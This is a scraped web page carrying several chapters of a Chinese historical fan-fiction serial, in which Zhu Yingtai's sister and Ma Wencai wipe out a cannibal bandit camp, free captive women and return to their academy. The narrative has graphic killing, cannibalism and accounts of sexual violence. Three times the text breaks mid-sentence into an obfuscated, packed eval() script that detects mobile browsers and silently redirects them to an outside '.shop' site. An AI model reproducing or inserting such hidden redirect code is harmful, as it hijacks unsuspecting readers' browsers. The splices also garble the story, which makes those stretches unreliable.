l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340069|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大大的白眼,看这人行径,怕不是男女通吃那一种,她纵使荤素不忌,对这种男人也是敬谢不敏。 被拒绝一次,恶心一次,莫娘已经不再想去试试剩下那三个人是什么玩意儿了。 祝英回收敛了笑容,回头看祝英台,祝英台默不作声地点了点头,二人便离开了房间。 乘着夜色降临,两姊妹分头行动,把剩余三人都叫到了马文才和王述房间里去。 四人展示了衣柜的机关,这下,这间客栈已经是板上钉钉的黑店了。 守株待兔固然不错,但是若是客栈中藏着的人太多,很容易便陷入被动。 因此,马文才给出的提议是,他们顺着这条通道去端了这黑店的老窝,速战速决。 祝英回颔首赞成,不过她提出了一点异议:“可若是让那个叫莫娘的发现我们不在,便也容易陷入被动。” 她琢磨片刻,看向妹妹:“英台,你去跟莫娘讲一声。” 她神色镇定自若:“就说今天晚上我和你来了王述房间,看她什么反应。” 相较于她的镇定,祝英台脸色跟吃了苍蝇一样欲言又止:“哥哥……” 王述不耐烦地推开她,自顾自下了楼:“这有什么好纠结的,祝英台你就是娘们唧唧的,我去说。” 他下了楼,完全没发现祝英台看着他背影的眼光有多复杂。 待到王述回来了,他的脸色也没有去的时候那么得意张扬了,带了些困惑,带了些恼怒:“那娘们什么意思啊?问我们需不需要羊肠……” 他顿了顿:“羊肠是什么东西?” 陶、梁、荀三人一下子噎住了。 马文才神色骤变,他猝然看向祝英回:“你跟她说了些什么?!” 祝英回微笑着回看:“不过是权宜之计罢了,怎么,马兄还在乎这种事情吗?” 马文才语塞:“你!” 他皮肤很白,哪怕喜欢骑射打猎,也没有晒黑,此刻白玉也似的皮肤泛上了艳丽的红色,他咬牙扭头,没再管这件事。 这便是默许了。 王述不蠢,从莫娘的暧昧语气、马文才的脸色,他一下子就拼凑出了真相,也一下子就无师自通了祝英台刚才地纠结是为什么。 他不敢置信:“祝英回你还要脸吗?” 王述倏然想起了什么,悚然道:“不是,你不会真的喜欢男人吧?” 祝英回挑眉看向他二人,表情没变,眉眼间却一点点勾出了暧昧模糊的色彩,那双黝黑的眼瞳好似深渊,带着人堕落…… 她不过稍稍流露出从前和情人调情的模样,王述就像看到什么恐怖的东西一样跳开了。 马文才被她的目光注视着,一时竟也顾不上体面了,抬手就蒙上了她的眼睛。 祝英回轻笑出声,眨了眨眼,那长睫拂过细密的瘙痒感立刻让马文才触电般松了手,他脸上的绯红越发明显,咬牙道:“可以了!知道你经验丰富了,不要再这样!” 祝英台神色复杂地看向姐姐:“哥你……” 祝英回收敛了神色,严肃道:“莫娘还有闲心问这种问题,便说明,她根本不在乎我们是几个人在一起。” “这间客栈藏着的人很多,很多。” “所以,我们要主动出击,一个人都不能留在客栈里,否则极有可能被他们抓了当人质。” 8. 攻取 祝英回看向王述:“你是如何跟她说的,事无巨细地告诉我。” 王述想了想,边回忆边描述:“我自然知道不能贸然说我们在一起,否则容易使人起疑心。” “便装作是去马车里取东西,那婆娘见我往外走,便靠了过来,询问我去做什么。” “我告诉他,你和祝英台来我们房间寻我们……”说到这里,他脸皮紫涨,像是终于反应过来莫娘的表情是什么意思。 他艰难地吞下腹议,继续说:“我说今晚一张床必然睡不下,去马车中取些衣物垫在地上凑合一夜……” “那女子说不必这么麻烦,客栈中有多余的被褥,她一会儿给我们送来,又问,又问需不需要那什么物件儿。” 马文才斜了他一眼:“她要来,你怎么不讲?” 王述自知理亏,只道:“那现在怎么办?” 祝英回一笑:“简单,我们只需让莫娘以为中里还有四个人就可。” 她看向马文才:“马兄,就要劳烦你带着其他人先入密道了,我与英台还有荀巨伯留下来应付此人。” 马文才眼神飘向他处:“嗯。” 待到剩下四个人进入密道,祝英回在房间里静候,她反手就把束发的带子解了下来。 一头长发披下来,她随意地扯了扯领口,一副多情风流的公子模样就活脱脱现了出来。 荀巨伯吞了一口气,呛得自己连连咳嗽,他小声问:“英回,你……” 祝英台更是手都在抖,双目无神:“我哥怎么可能是个情场老手呢……不可能的,不可能的吧……” 她恍恍惚惚地笑道:“我一定是在做梦,哈哈。” 祝英回睨了他们一眼:“男女之事,乃至于男男之事,无非就是那么回事。就算没经历过,演还演不出来?” 不过片刻,叩门声笃笃地响了起来,祝英回立马调整状态,示意荀巨伯躲到角落里去。 祝英台眼神瞬间清明,起身去开了门。 门口的正是莫娘,祝英台浅笑着接过她手中的被褥,脚尖一勾就要带上门,莫娘却眼疾手快地一把撑住门,满脸暧昧: “奴家这里寻乐子的东西不少,几位可需要?” “就是您不需要,瞧您那哥哥也是耍惯了的,那黑衣公子虽然俊美,可一看便是不解风情的,他如何能得趣儿?” 今日只马文才身着黑衣,祝英台沉默地吞了口口水,决定把这些事儿都烂在肚子里。 她转头问:“哥,马兄,你们要不要什么物件儿?” 莫娘听见她喊哥,当即晦气地啧了一声,远远地得了一句懒懒的不要之后,又瞧见了那个散发敞怀的背影,和角落里的人之后,便迫不及待地下去了。 祝英回重新束了发拢了衣服,眼神瞥向二人,二人会意,一道钻进了密道里。 而那头,马文才带着剩下三个人放轻脚步在这条狭小但四通八达的密道里行走,或而会迎面撞上一个黑瘦的汉子。 马文才手疾眼快一把扼住了人的咽喉,按在了墙壁上,询问路径之后之后干脆利落地割喉灭口。 一路下来,竟然也没有被发现。 就这么走了三刻钟,直到他们瞧见密道到了尽头,头顶上有一个活板门,心里就晓得,这是到土匪的老窝了。 他们并不曾轻举妄动,而是预备等到祝英回与他们会和之后,再见机行事。 他们不动,上面的人却开始说话了,一个听着像老大的一开口就是抱怨:“莫娘的心真是越发的野了。” 他旁边那个小弟劝道:“也不过是个男子罢了,把他身上银子扒了,给莫娘玩乐一番再放走,也不耽误什么事。” 老大听起来更不满了:“怕就怕她想上岸,把咱们都拖下水,莫娘当年是咋加入的,忘了?” 另一个小弟劝道:“那黑衣公子一看便是贵人,放了也没什么,免得招来官差围剿嘛。” 老大默然不语,似乎也是认同了这句话,又道:“那其余人呢?” 原本那个嘿嘿一笑,掰着手指头开始数:“那粗布麻衣的中年人手上有茧,一看便是农活做多了,明日清早杀了充牛肉做成包子正好。” “那鹅黄衣衫的,虽然穿着朴素,但背着的箭可不得了,黑羽金漆,弓更是上好的硬弓。” 那老大道:“这种人可惹不起。” 离他最远那个小弟说:“那是自然,他二人的房间今夜自然平安,明日一早咬死了是其余人先走了,料想他们两个少年人也无法。” “剩下那四人衣着皆是不凡,但也只是平常,绑了要赎金也好,或者扒光财物做牛肉也好。” 紧接着,他压低了声音,神神秘秘道:“最绝的是那个青色衣衫的,看起来温和又正经的人,莫娘说他其实荡得很,生得又像个女的,献给老大您解解火也好。” 底下诸人表情愤慨,马文才更是无声冷笑,打定主意要给这些人一点教训瞧瞧。 至于他们说祝英回像女子,却没人放在心上,就他那风流样子,少嫖两个都表现不出来! 那老大却兴致不高的样子:“与其去弄他,不如进城花俩子儿,真正的女人哪是这些搞男人的人能比的?” “一个个涂脂抹粉,偏生脸涂得跟个鬼似的,不伦不类叫人看了就倒胃口。” 连忙有人陪笑:“是是是……” 老大倏然道:“什么时辰了?” 有人脚步声咚咚踩在地板上,似乎是去看日晷了:“离莫娘给咱们的时刻还差一刻钟。” “好,再等一会,就叫兄弟们挨个儿下地道。” 此时,一只手悄无声息地搭在了马文才肩膀上,他悚然一惊,反手就是一刀,那人早有防备,巧妙地避开来。 借着昏暗的灯光,马文才看清了那张脸。 凤目挺鼻,笑意浅浅。 是祝英回。 他听得过于专心,再加上大家都刻意放轻脚步,才没有发现她的靠近。 祝英回扭头示意回去的路,马文才倏然懂了她的意思,点了点头。 一行人立刻往回走,这条暗道中岔路并不多,但每逢岔路口都要更宽阔一些。 两条岔路,两人带队一人守住一条,马文才低声叮嘱:“一定要快,否则叫客栈里的人发现了,咱们便会被左右夹击。” 这里的暗道狭小,除去岔路口的位置,最多也只能容下两人同时行走,就算真的被左右夹击,奋勇还击说不得也能杀出一条血路。 可若是在开阔的房里,众人一拥而上,七个人还真就可能被人海战术淹没。 他们屏息敛气,等着脚步声响起。 不一会儿,杂乱的脚步声由远及近,人数不算多,也就十五六人的样子。 他们打着火把,明亮的灯光把前路照的一清二楚,也照明白了他们的脸,为首的那人长了一张国字脸,竟然有些正气的模样。 他们在岔路口毫不迟疑地选择了马文才那一条路,火把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340070|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噼里啪啦地燃烧,照出一张冷静之极的容颜。 那小队长悚然一惊,还没来得及出声,就被一柄短刀抹喉,他喉咙里漏出咯咯两声气音,便被一脚踹倒了。 马文才踏着他的尸体回手一刀杀了跟在他身后的两个人,血液溅在他脸上,带出了一丝残酷的美感。 前面的人尸体倒下了,火把也掉落在地上熄灭了,这时不知谁吼了一句:“前面有埋伏!后退!” 有的人往回跑,祝英台在马文才身后瞧得清楚,从缝隙里拉弓搭箭,一箭便要了他的命。 其余人更加骇然,纷纷往另一条通道里涌了进去,却倏然被一剑穿成了糖葫芦。 祝英回顺势将剑拔出来,最前面那两人软软倒地,她踩在血泊里,剑剑连出,点在了躲闪不及的人胸口。 梁山伯站在她背后,看见如此多的死人,呼吸重了一瞬,随即便毫不犹豫地拎着武器补刀。 为免有人生理构造异于常人,他补刀都是冲着脑门去,一扎下去红红白白的东西溅了一地。 梁山伯抬起眼,温润的眼睛带了些微的惶然,却又在顷刻间消失不见。 陶隐士都反倒是最镇定的人,还有心思为祝英台指路:“那那那,那有一个跑了!” “射他头!好,中了,那里那里,还有一个!中了!干得漂亮!” 王述已经吐了一地了,被马文才嫌弃地踢到了最后面,由着他吐。 不过片刻功夫,地道中就没有站着的土匪了,血腥味和呕吐物混杂起来的味道冲击着每一个人的鼻腔。 看着还在吐的王述,马文才拧了拧眉,忍着不适上前下狠手按了他的穴道。 王述吃痛地叫了一声,却奇迹般的没什么想吐的欲望了。 荀巨伯撸起袖子,蹲下来一个个地搜这些人的身,半晌,他站起来摇摇头:“没有,他们身上没有可用作信物的东西。” “看来这个山寨的规模不仅不算大,管理也很松散。” 对牌、木令,这些东西不仅是摆着好看的,它们有非常切实的作用——方便传令、防止他人冒充和减少伪令。 譬如上千人的大寨子分了三等令,便可使视令牌的等级行事,若是拿着最低一等的令要去提大量物资。 不用想,那就是假的。 若是要紧急撤退,小兵直接拿着最高等级的令牌前去就能把一队的人带走。 方便行动,防止“我的附庸的附庸,不是我的附庸”,真有事儿,头领调不走人的情况。 至于上万人、上十万人的军队,那就有一套更加严密的传令系统。 什么都没有,那就说明这个寨子是人口不到一百,头领没有五个,随便呼喝一声就都听得见的情况。 马文才打头,祝英回殿后,一行人谨慎地从活板门上了山寨。 一出活板门,就是一个很小的房间,透过窗纱一瞧,这个寨子破破烂烂的,养着两三匹马,寨子里的人各个黑瘦。 梁山伯念叨了一句:“都是被逼来当土匪的。” 一行人各个沉默,只马文才道:“他们将人肉做牛肉卖,想来已经尝过了人肉的滋味。” 他指了指不远处半开门的人肉作坊,赤裸裸的人大腿、头颅、大得绝对不是鸡杂的内脏就这么大喇喇地露在外面。 看起来有种不合时宜的平静:“这些人已经习惯吃人,不能留。” 对于习惯吃人的人,他身边的人在他眼中,到底是同伴,还是储备粮? 9. 破 这个寨子很小很破,也就十几间破烂的茅草屋,偶见两间砖房,人也不多。现在躺在地道里的人差不多便是三分之一了。 七个人彼此看了一眼,知道此地空旷,须得分散偷袭行事。 梁山伯和荀巨伯低声商议了片刻,道:“我二人不如马兄和祝兄长于武艺,那人肉作坊里想来去的人不多,我们与陶先生便去那里找一找,兴许有还没被杀害的人。” 其余四人也并无什么异议,毕竟人肉作坊虽然去的人不多,正面冲突的可能性小,但对精神是一个重大打击。 剩下四人便商议如何端了这个寨子,最终决定将这个小寨子分成了三个部分各个击破。 马文才负责人肉作坊左手边那里,祝英回去搜右手边,祝英台与王述组队搜查背对这间屋子的地方。 就此议定,几人便悄悄从窗户翻了出去,迅速地藏入阴影,消失不见了。 祝英回动作轻捷,不过是片刻功夫,就抹了几个人的脖子。 然而,一座屋子却倏然出现在她面前,门口守着四人,符合时宜的茅草屋,但没有窗户。 里面应当是关押着什么人,或者放着什么重要的东西。 她凤眼微动,一个主意在她头脑中形成。 和其他地方的松散不同,这里的看守似乎格外有精神,时不时低声交谈。 祝英台拣了颗石子儿,屈指一弹,直奔其中一人面门。 那人猝不及防之下被石子儿正击中眼皮,他唉哟一声捂住了眼睛,剩余人纷纷拔刀:“谁?!” 他们提高了警惕,四处张望,却什么都没看见。 与此同时,一颗不知道打哪儿来的石子儿再次击中先前那人的膝盖。 紧接着,就是时不时从各个角落里窜出来的石子儿。 除去最开始被袭击的人眼睛肿了看不见,吃了好几下石子儿外,其余人都躲开了,就算被打中,也都是在不痛不痒的位置。 那三人起了火气,又认定此人没什么本领,留下一人与被打中眼睛的那人看守,自去寻找那人。 两人谨慎地用刀拍草,寻了良久无果,一道笑吟吟的声音在他们身后响了起来:“在找我吗?” 他们骤然转身,就看见一个身着青衣、长剑在手的人站在屋子门口,他脚下倒了两具尸体,血弯弯曲曲地流成一道小溪,在月光的照耀下,彷如一道红色的森冷铁水。 跑肯定是跑不掉的,未免他们叫来更多的人,这人是不会留手,只有拼死试试能否打得过。 祝英回反手拿剑,一抬一举一挑打落他们的兵器,快速的两下挑刺放了他们心肝处的血。 现在,是四具尸体倒在地上。 祝英回拿走了钥匙,开门之后看见里面的场景,既有果然如此的了然,也有竟然如此的静默。 里面关押着七八个女子,往脸上看都是一等一的好颜色,哪怕是神情憔悴,也都干净整洁。 这间屋子床榻桌椅一应俱全,角落处放着一个便器,臭味却不重。 那些女子看见有人进来了,纷纷看向她,神情是难以言说的惶恐,祝英回问:“你们是什么人?” 那些女子面面相觑,最终,一个身着红衣的美貌女子率先开口:“我们是被这些匪徒抓到山上来的士族女,家中均是败落了。” “那些匪徒的头好似是想要通过我们跻身一跃,成为贵族,不再是朝不保夕、被通缉、被追杀的土匪……” 她冷笑道:“痴心妄想!” 祝英回一愣,随即懂得了她们的意思,败落的士族女只有一个姓氏而已,但这个姓氏就是土匪最需要的东西。 等到他们想要从良了,便带着士族女、她们生下的孩子还有他们抢来的银子回到族地,伺机杀死女子后,堂而皇之地洗白,甚至还能成为贵族…… ——哪怕只是一个小贵族呢? 但如果是这样…… 祝英回:“我并不曾听见过小儿啼哭声。” 总不可能是那老大不行吧? 那女子沉默了半晌,才道:“之前怀孕的那些女子,都不屑于给土匪生孩子,锤落了自己腹中的孩子后,被那些土匪挨个凌辱后杀了。” 她虚虚地看向门外:“可能,已经成为一盘菜,进入了谁的肚子里吧?” 整座山的人都吃人,没道理这些女子可以幸免。 那女子倏然惊醒,苦苦哀求道:“我们都不曾吃人,知道这群人吃人之后,便只吃素菜——侠士,饶过我们吧。” 是不是真的没有吃过人,乃至于事情到底是怎样的,祝英回已经无意再去探究了。 这些女子太过可怜,就算是为了生存说了一些谎话,做了一些逼不得已的事情,又有谁能够责怪她们呢? 她避开此事不谈,只问:“你们知不知道那他们的头领在什么地方?” 那女子回答:“时不时有人被点到那首领的房子,打扮之后,门口那四个人会有一个会把我们送过去,被……之后再送回来。” “今日被选中的是谁?” 角落中一直沉默的女子出声:“是我。” 她抬起头来,一双眼眸眸光潋滟,整个人都带着楚楚可怜的感觉,但更深的地方,是刻骨的仇恨。 “侠士,等会还请您扮成小兵,然后送我过去,趁机杀了那个家伙。” 祝英回:“我可能顾及不到你。” 那女子:“若能见那王八蛋死去,要赔上我自己的性命也可以!” 祝英回最后问了一句话:“你叫什么名字,是哪里人。” 女子道:“我姓崔,名婉。是附近崔氏旁支女。” “若你死了,我便将你送回族地。” 崔婉断然道:“不!我不愿意回族地去!还请侠士为我找一个山清水秀的地方埋葬了吧!” 其余人陆陆续续地报出了自己的名字,却尽皆恳求祝英回不要送她们回族地。 她们已经见过太多为了不使家族蒙羞的女子或是自戕,或是明白自己的下场仍要想方设法地打掉孩子! 现在也很明白自己这个被土匪这样下等人羞辱过的女子回去之后要么常伴青灯古佛,要么就是一根白绫勒死。 凭什么!凭什么为了所谓的不使家族名声受辱就要她们去死! 她们心中不约而同地默念,我才不去死,我就要活着,哪怕活得生不如死。 崔氏又怎样?在战乱中的旁支乃至于嫡支没有主动将女儿下嫁过屠户吗?! 所谓的高贵士族,也不过如此而已。 祝英回看着她们,忽然问:“读过律法吗?” 诸女面面相觑,崔婉道:“我们不曾读过,但若是侠士想要用我们,必当竭尽全力!” 站在门口的那人扒了小兵的衣服,入内在屏风后换上了,道:“崔婉,走吧。” 事情很顺利,崔婉不知道走了这条路多少次,祝英回跟着她,不过片刻功夫,远远地就看见一个更大的院子,竟然是瓦顶白墙。 她低声询问:“这里面有几个人守着?” 崔婉早就把这里的守卫烂熟于心,道:“那王八蛋自负勇力,门口有两个,院子里一左一右两个,他自己在房间里。” 祝英回点点头:“好。”随即,当门口一个人上前来惯例检查的时候,她抬起了头,一柄剑神出鬼没,穿心而过。 另一个人正要喊叫,就被她一剑抹了脖子。 祝英回把门推开一条缝,先把 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那人却温和地笑,说:“你很好。” “走吧,去和我的同伴会和。” 但也不需要刻意去找了,一个黑衣男子推门而入,看见祝英回时道:“果然是你。” 又说:“我又慢了你一步。” 祝英回挑了挑眉,笑了一声:“既然如此,马兄下次可不要懈怠。” 她整个人都带着懒洋洋的困倦:“啊……都不知道现在是什么时辰了,快些回去吧。” 又嫌弃地抖了抖身上的衣服:“臭死了。” 马文才横了她一眼:“我那边的人已经全部清扫完了,你不要告诉我你还没弄完就来杀头领了。” 祝英回嘶了一声:“恐怕还得劳烦你同我一道去了。” 二人一来一回之间,马文才没问崔婉是谁,几乎是把她当成了个隐形人,直到祝英回走到他身边时,才低声道:“她若要你送她回去,不要去。” 祝英回唇瓣微微扬起:“多谢马兄好意了,不过好人做到底,送佛送到西——” 马文才冷漠地瞥了一眼崔婉,蹙了蹙眉:“在她们的氏族里,这些女子已经是死人了。” 贞洁不贞洁的倒是小事,主要是被土匪抓上山闹得人尽皆知,让士族丢脸。 “你不要管,否则会惹得一身骚,说不定那些人还会把你也诬陷成土匪。” 祝英回笑而不语,气得马文才扭头就走,到和众人汇合的时候,他也一个字都没跟祝英回讲。 直到祝英回跟祝英台讲了来龙去脉,二人预备先去把那些女子安顿了,马文才不作声地跟了上去,见祝英回讶异地看了过来,他别扭地瞪了她一眼: “我家还是有些面子的,那些人见我同行,不敢过分。” 这个不敢过分,针对的是祝氏兄弟,他可没想管人家族内的事情。 祝英回喟叹:“多谢马兄好意,可惜我既不打算送她们回去,也没有想让她们自生自灭。” “我有些产业,预备送她们去那里,就不劳烦马兄了。” 马文才这下才是真的气炸了,一双漆黑的桃花眼一言不发地瞪着祝英回,良久,才冷笑出声:“好,好,好!你祝公子好心又怜香惜玉,我何必饶了你的兴致呢?” 说完,赌气般的转身就走。 祝英回笑意逐渐转为冷漠,马文才恼怒于她不听劝,她何曾喜欢此人漠视又无所谓的态度? 哪怕深知此人性格如此,面对同为世家公子的王述等人都不留情面,但还是难以遏制地怒意升腾。 她淡淡道:“走吧。” 10. 乐与武 祝家姐妹弄来了两辆马车,又与她们盘缠干粮,祝英台将之前买的庄子地址道明,叮嘱她们往那里去。 这些女子个个是世家女子,骑射虽不说精通,但扮作男装替换着驾驶也是绰绰有余。 祝英回倒是一直沉默着,颇有些犹豫不决的意味。 就在上马车之时,一个叫覃微的女子看着祝英回的面孔,突然出声:“女郎无论有什么吩咐,上刀山下火海也好,大逆不道要造反也罢,我覃微都跟定了!” 祝英回猝然抬头,直直地盯着覃微看。 覃微咬着牙任由她看,良久,才听见救她们出火海的女郎问:“怎么看出来的?” 崔婉扯出一个笑容,嘲讽至极:“女郎不知道吗?那些男人怎么会怜惜我们的苦楚?” 她错开祝英回的眼神,看向山路:“女郎身边的男子都是已经是我生平仅见了,可……。” “那黑衣公子没有瞧不起我们,但更多的,是无所谓我们会怎样。” “宝蓝色衣服的公子,压根儿没有意识到这里还有几个人。” “鹅黄衣服的公子和他身旁的那两个倒是可怜我们,却也觉得这是无可奈何之事,是我们应当承受的……” 她一笑:“女郎,会怜惜我们的,只有同为女子的你们而已。” “其实,就算同为女子,你们能够怜惜我们,帮助我们做这样大逆不道的事情,也是出乎人意料的。” 祝英台久久沉默,只听见她的姐姐说:“我的确有一些不容于世的想法,可你们当下,也只是比普通人要更强一点。” “虽然有些聪明,但还不够。”青色的袍袖在她们拂过,马车的帘子随即放了下来“不若猜一猜,我到底想做什么。” 覃微抓住马车边沿,颤声要一个承诺:“那就说好了,猜到了,女郎就不许将我们排除在外。” 一道声音从马车外传来,平静又笃定:“说好了。” 马车逐渐远去,祝英台看向身侧的姐姐,从平静到崩溃,眼泪也止不住地掉下来,压抑的情绪全数爆发:“姐姐……” 哭声越发的大,祝英台哭得几乎站不住,她紧紧地抱着祝英回,嚎啕大哭,一边哭一边断断续续地描述:“姐姐!我看见了!” “有一个女子,她还没有死!” “就在我们来之前,或许一天、两天……她锤落了孩子!那些人渣不顾,不顾她还恶露不止,轮流侮辱了她!” “我和王述赶到的时候……她浑身都是血,发黑的、还新鲜的、凝固的……” “她躺在那里,我想救她!” “我想救她的!她只是被侮辱了而已!落胎的的月份也还小,再好好养一养,她可以,可以和覃微她们一起开始新的生活!” “但是地上有一把刀,动弹都没力气的人,捡起来,杀了她自己!” 那一幕的冲击力,对祝英台来说是无与伦比的,她和王述争执,那个明明是受害者的女子却毅然决然地自尽了。 从那里开始,她就忽然明白了,这个世道对女子而言到底意味着什么。 是连她们自己,都认为自己该死。 撕心裂肺的哭声久久不绝,祝英回托着妹妹,静静地听着她的哭声。 这一点,她早就知道了,而祝英台,也在她没有注意到的时候,悄悄地明白了。 二人回了客栈,其余人早就解决了包括莫娘在内的剩余人,各自歇下了,她们自去打了水,回来的了房间简单地擦洗后,便也睡下了。 过了约摸四五个时辰的样子,太阳偏移了最烈的方位,便要起床继续赶路了。 祝英回的心情尚有些沉郁,祝英台却好似完全忘记了昨天发生了什么,兴高采烈道:“哥,我们今日就能回书院了!” 祝英回:…… 祝英回:下次谁再被祝英台带着情绪走,谁是狗! 两人回来时里里外外都换了一遍,这时候直接用火折子全点了,力求不留证据。 二人翻身上马,就像来时一样走在最后面,但祝英台的心境已经完全不同了。 她敏锐地觉察到,莫娘的故事也许有很多的迫不得已、很多的不得不决断,以及更多的伤天害理。 但,都已经不甚重要了。 一行人走了大半天的山路,终于看见了尼山书院的山门和等在书院门口的山长和陈夫子。 俩姊妹对视一眼,翻身下马,拱手行礼:“幸不辱命!” 山长看着从马车里慢悠悠下来的陶渊明,惊奇大过了惊喜:“你居然真的来了,这实在是我没有料到的。” 陶渊明高深莫测地一笑:“不可说,不可说啊。” 自陶渊明来到书院,课表也发了一张新的下来,其中添加了乐理课程,和少量的礼学课程。 很显然,陶渊明重新坚定的理念已经坚定到说服了山长。 有学生身份的祝氏姊妹做不到的事情,已经名气斐然的陶渊明做得到。 四书五经六艺,四书已然念完,陶渊明负责五经之《诗经》、六艺之中的礼与乐。 而下午的课程也增添了剑术、对敌等课程。 陶渊明就算不喝酒,也有一股子逍遥红尘的醉意,常常将诗经与乐混在一起上,头一节课他便轻轻敲着编钟,渺渺然地唱了起来: “岂曰无衣,与子同袍。王于兴师,修我戈矛,与子同仇! 岂曰无衣,与子同泽。王于兴师,修我矛戟,与子偕作! 岂曰无衣,与子同裳。王于兴师,修我甲兵,与子偕行!”〔1〕 他反复地唱这一首诗,编钟的声音悠长又雄浑。 最终,陶渊明笑眯眯地停了下来:“秦地风俗,人人不畏战,因此秦风的歌曲也格外战意汹涌……” 他喟叹道:“惜天不与秦皇,使风俗糜烂而散之。” 他哪里是在说风俗散漫,分明是在说中原大地四分五裂,为胡人占据,辜负了当年的秦始皇。 马文才冷不丁道:“夫子只知秦皇王翦,不知刘邦樊哙么?” 兵仙韩信下场不妙,且有“言兵莫过于孙武,用兵莫过于韩信”之名,盛名太过,不好用于自比。 马文才言下之意,便是想做樊哙,助皇帝收复胡人所占之地。 虽说以当世情况,在位的的不要说刘邦,是刘协都要烧香拜佛。但是给皇帝脸上贴金嘛,总是不嫌多的。 陶渊明也不生气,抚掌笑道:“好好好,若堂下有人能做樊哙,我这夫子也不枉一世了。” 祝英回的目光自八音〔2〕上一一扫过,内心腹议,以魏晋南北朝的破烂情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340072|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恐怕一个樊哙是不够的。 换皇帝都未必能行,东晋十一帝,不仅没啥实权还死的早。 底下的学生大多对这些乐器有基本的了解,很多人选的也无外乎是琴瑟笛萧这些常见的。 但…… 一旦人多了,就容易出现两个人一人抚琴一人拨瑟面面相觑的情况,虽说大家都知道没那意思,但难免思及“琴瑟和鸣”之意。 马文才顿了顿,收回走向琴的脚,欲从乐器堆里选一根笛子。 祝英回似乎与他想到了一块去,两人同时把手放到了笛子堆上。 祝英回:…… 要不是旁边放着的是同属“竹”的萧,她现在手就转个弯去拿旁边的。 经历过现代信息冲击的人对萧谨谢不敏,但马文才不知何故,也不曾换乐器。 两个人站在笛子堆前无声对峙,最终还是祝英回先从笛子堆中抽出了一根竹笛,礼貌地微笑:“马兄请。” 随即便头也不回地坐回了座位。 祝英台啧了一声:“你们还要冷战到什么时候,我看王述里外不是人,都快哭了。” 她幸灾乐祸道:“不过他活该,左右又不用他的钱,谁让这厮同我吵架,误了那女子性命的!” 虽然祝英台心中清楚,这件事情其实和王述关系不大,那女子是自己不想活了,谁都救不了一个不想活的人。 但她就是不可遏制地迁怒于王述! 祝英回哼了一眼,凤梢旖旎地瞥了她一眼:“许你迁怒王述,不许我迁怒姓马的?” 祝英台咂了咂嘴:“不至于吧,梁山伯他们都是这态度,也不见你迁怒他们。” 她劝道:“哥哥,你无非是见他愿意与你同去,对他有更大的希冀罢了——” “何必呢?”她最后一句说得轻声“他们最终都要与我们分道扬镳的。” 祝英回不吃她这一套,冷笑一声:“那你有本事别迁怒王述啊!” “你这作死的,把我教你拿捏人心的技巧用到我身上来了?” 祝英台一噎,心虚地摸了摸鼻子:“实践的事情,怎能算作死呢?” 更何况,她以后要说服的可不只是陶渊明这种人,还有天下万万千千的学子,不提前演练一下怎么行。 见姐姐非要争一争这意气,祝英台悻悻闭嘴。 等到下了课,王述乘祝英回不在的时候主动凑了过来:“祝兄,如何?” 祝英台嫌弃地往旁边挪了挪:“没成,但你小子何必如此热衷于这件事情?左右他们关系怎样都不妨碍我二人。” 马文才不是随便拿人出气的人,祝英回更不是。 那何必折腾这一趟?吃饱了没事儿干吗? 王述悄悄看了看祝英回的方向,道:“你不知道吗?接下来有剑术课和对敌课程。” 祝英台不以为然地嗤了一声:“那又怎么样?” “暂且不说咱俩的武艺与他们俩的差距,若是剑术课不将他们凑到一块儿对练会输得多惨——”王述压低了声音,说自己听来的小道消息。 “据说我们这次剿匪给山长带来了灵感,对敌课程说是对敌,实际上是几人一组,对抗四位武夫子!” “他们俩要是不和好各自为战,对敌课程大家的成绩都得玩完!” 11. 旗鼓相当 祝英台:…… 她几乎是猛地跳了起来:“这你不早说!” 尼山书院人才辈出,马文才和祝英回之武艺固然是其中佼佼者,但这不代表这俩独行侠带着他俩能打得过人家几个人一起上啊! 祝英台又问:“你打听到是几个人一组了吗?” 王述急道:“这就是问题所在啊!夫子和山长好似故意针对他二人,比赛分组不限人数!” 祝英台多多少少是经过她姐姐特训的,这话往脑子里一转,她立刻清醒了,优哉游哉地坐了下来:“没关系,到时候我和我哥分开,王述,咱们和梁山伯他们一组吧。” 王述:……啊? 祝英台简单地解释了一下:“我哥哥和马文才太独了,为官为将都不宜如此,夫子和山长的苦心,咱们怎么好辜负呢?” 她还颇有些兴奋:“咱们多拉些人,你不想把马文才按在地上锤吗!” ……说不想那是假的。 常年被马文才按在地上锤的王述并不可耻地心动了,嘴上却还在负隅顽抗:“但是马兄要是气急了,比赛完了之后来找我单练怎么办呢?” 祝英台一拍他肩膀:“没关系,到时候我找我哥哥来救你!” 王述腹议你别被你哥哥揍一顿就是好的了,还找祝英回来救我?但他本来也动摇了,在坑一把马文才的边缘上伸出了试探的脚:“那,那就这么说定了?” 他回了自己的座位,祝英回不多时也回来了,见妹妹偷笑,不由得问她:“怎么了?” 祝英台一边笑一边说:“我们有对敌课你知道吧?据说是几个人一组对付夫子呢。” 祝英回了然:“所以刚才王述来就是来劝和的?” 祝英台啧了一声:“哥,我了解你,你绝无可能先低头,看马兄那个样子估计也不可能低头……你们俩在比赛里估计还要较量较量。” 